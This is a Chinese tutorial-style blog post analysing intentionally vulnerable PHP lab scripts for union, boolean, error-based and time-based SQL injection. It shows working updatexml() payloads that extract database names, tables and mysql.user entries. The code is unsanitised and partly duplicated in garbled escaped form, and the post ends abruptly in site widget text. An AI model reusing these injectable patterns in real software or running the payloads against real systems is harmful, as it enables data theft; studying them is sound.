动态sql if else_PHP之各种SQL注入源码分析

数据库设置:

1834b348f11867d414418cbea64b59fa.png

union注入源码:

?php \n$con=mysqli_connect(\"localhost\",\"root\",\"root\");\nmysqli_select_db($con,'sql');\nif (mysqli_connect_errno())\n{\n\techo \"数据库连接出错:\".mysql_connect_error();\n}\n$id=$_GET[\"id\"];\n$result=mysqli_query($con,\"select * from users where id=$id\");\n$row=mysqli_fetch_array($result);\necho $row['username'].\":\".$row['address'];\necho \">br<?php 
$con=mysqli_connect("localhost","root","root");
mysqli_select_db($con,'sql');
if (mysqli_connect_errno())
{
echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from users where id=$id");
$row=mysqli_fetch_array($result);
echo $row['username'].":".$row['address'];
echo "
";
?>

9c31214e8796ccc1ca7c71f495784e2e.png

源码分析:没有进行任何过滤,将利用GET方法获取到的参数id的值拼接到SQL语句当中使之执行。

Boolean型注入源码:

?php \n$con=mysqli_connect(\"localhost\",\"root\",\"root\",\"sql\");\nif (mysqli_connect_errno()) {\n\techo \"连接失败:\".mysqli_connect_error();\n}\n$id=$_GET[\"id\"];\nif (preg_match(\"/union|sleep|benchmark/i\", $id)) {\n\texit(\"nonono\");\n}\n$result=mysqli_query($con,\"select * from users where id=$id\");\n$row=mysqli_fetch_array($result);\nif ($row) {\n\texit(\"yes\");\n}else{\n    exit(\"no\");\n}\n ?<?php 
$con=mysqli_connect("localhost","root","root","sql");
if (mysqli_connect_errno()) {
echo "连接失败:".mysqli_connect_error();
}
$id=$_GET["id"];
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("nonono");
}
$result=mysqli_query($con,"select * from users where id=$id");
$row=mysqli_fetch_array($result);
if ($row) {
exit("yes");
}else{
exit("no");
}
?>

68b8271fd754156d7ce54580a8804fb0.png

4503477ccb4d8eae4ab7c2762b5470fb.png

分析:(preg_match("/union|sleep|benchmark/i", $id) 在$id中所搜索是否存在union|sleep|benchmark且不区分大小写,如果存在就停止程序执行,并抛出nonono。当执行完SQL语句,结果存在,输出yes,,不存在则输出no。不会输出查询结果,只会输出yes或者no表示是否存在查询数据。

报错型注入:

?php \n$con=mysqli_connect('localhost','root','root','sql');\nif (mysqli_connect_errno()) {\n\techo \"连接失败:\".mysqli_connect_errno();\n}\n$username=$_GET['username'];\n$sql=\"select * from users where username='$username'\";\n$result=mysqli_query($con,$sql);\nif ($result) {\n\techo \"OK\";\n}else{\n\techo mysqli_error($con);\n }\n?<?php 
$con=mysqli_connect('localhost','root','root','sql');
if (mysqli_connect_errno()) {
echo "连接失败:".mysqli_connect_errno();
}
$username=$_GET['username'];
$sql="select * from users where username='$username'";
$result=mysqli_query($con,$sql);
if ($result) {
echo "OK";
}else{
echo mysqli_error($con);
}
?>

3cda299631b3db1ed1b4b668bf6f7b7b.png8967aee4b6173dfcef772c23113f31a3.png

分析:如果SQL语句执行出错,则会调用mysqli_error()输出报错信息,可以利用这个进行报错注入。

过程:

1,单引号发现报错,并输出了报错详情

dbee46642e7e7b08bce3c17e5cba16be.png

2,使用updatexml()函数进行报错

当前用户:http://127.0.0.1/sql_updatexml.php?username=aa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

6fe59415a7917f3f04c21ad1a7c842d6.png

当前数据库:http://127.0.0.1/sql_updatexml.php?username=aa' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

10a1cd6ae5278c982322f1aea40ffe9f.png

获取所有的库名:http://127.0.0.1/sql_updatexml.php?username=aa' 
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+

d4d3405ef32371da2a66a520736cab0b.png

获取指定库中的表名:http://127.0.0.1/sql_updatexml.php
?username=aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),0x7e),1)--+

5f990d90aa460aea7f9c4322e592a6f6.png

查询数据:http://127.0.0.1/sql_updatexml.php
?username=aa' and updatexml(1,concat(0x7e,(select host,user from mysql.user limit 0,1),0x7e),1)--+

af14acb6cbdc1daab0753a8a19c66bb4.png

时间注入源码:

?php \n$con=mysqli_connect('localhost','root','root');\nmysqli_select_db($con,'sql');\nif (mysqli_connect_errno()) {\n\techo \"连接失败:\".mysqli_connect_error();\n}\n$id=$_GET['id'];\nif (preg_match(\"/union|ordey|coushu/i\", $id)) {\n\texit(\">hmtl<>body/body<>/htmlhmtl<>body/body<>/html<?php 
$con=mysqli_connect('localhost','root','root');
mysqli_select_db($con,'sql');
if (mysqli_connect_errno()) {
echo "连接失败:".mysqli_connect_error();
}
$id=$_GET['id'];
if (preg_match("/union|ordey|coushu/i", $id)) {
exit("nononono
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值